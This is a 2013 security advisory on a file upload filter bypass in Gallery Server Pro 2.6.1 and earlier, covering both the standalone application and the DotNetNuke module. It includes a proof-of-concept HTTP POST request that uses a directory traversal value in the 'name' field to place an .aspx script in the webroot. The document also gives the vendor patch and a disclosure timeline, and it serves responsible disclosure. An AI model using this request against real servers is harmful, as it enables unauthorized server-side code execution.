Vulnerability Advisory

Name	Gallery Server Pro File Upload Filter Bypass
Vendor Website	http://www.galleryserverpro.com/
Date Released	14th May 2013
Affected Software	Gallery Server Pro 2.6.1 and earlier
Researcher	Drew Calcott

Description

Gallery Server Pro is a media gallery that works both as a stand-alone application and as a module for DotNetNuke. Security-Assessment.com has discovered that the upload functionality of both the application and DotNetNuke module are vulnerable to bypassing the restrictions present in the file upload filter. This permits a malicious authenticated user to upload arbitrary file types, including .NET scripts, allowing the execution of server side code.

Exploitation

Exploitation of this vulnerability requires the user to have an authenticated account with permission to upload files to a gallery, or for the application / module to be configured to allow unauthenticated users to upload. By modifying the content of the "**name**" parameter in the POST request to the server, it is possible to bypass the file type upload restrictions, which are only applied to the "**filename**" parameter. By then passing directory traversal strings in the "**name**" parameter, it is possible to save the uploaded file within the webroot of the application / module.

In the standalone application version of Gallery Server Pro, the IIS user does not have permission to write directly to the webroot of the application. Therefore, it is necessary to place the file within the "**gs\mediaobjects\Samples**" path as per the example below. Please note that the DotNetNuke module does not have these same restrictions by default.

Proof of Concept HTTP POST Request

```
POST /gallery/gs/handler/upload.ashx?aid=2 HTTP/1.1
Host: <vulnerablesite>
Referer: http://<vulnerablesite>/gallery/default.aspx?g=task_addobjects&aid=2
Content-Length: 73459
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Cookie: <VALID COOKIE DATA>
Pragma: no-cache
Cache-Control: no-cache

-----------------------------41184676334
Content-Disposition: form-data; name="name"

..\..\gs\mediaobjects\Samples\malicious.aspx
-----------------------------41184676334
Content-Disposition: form-data; name="file"; filename="malicious.jpg"
Content-Type: application/octet-stream

Malicious code here.

-----------------------------41184676334--
```

The uploaded file will then be available on the affected server at:
http://<vulnerablesite>/gallery/gs/mediaobjects/Samples/malicious.aspx

Solution

The vendor has released an update for all vulnerable versions of Gallery Server Pro and its related DotNetNuke plugin.

The patch is available for download from the vendor’s website at:
http://www.galleryserverpro.com/download.aspx

Disclosure Timeline

16/04/2013	Initial vulnerability report sent to vendor
19/04/2013	Received confirmation of vulnerability from vendor
22/04/2013	Initial blog post on vendor site outlining vulnerability and release of patch
14/05/2013	Vulnerability public release

About Security-Assessment.com

Security-Assessment.com is Australasia’s leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.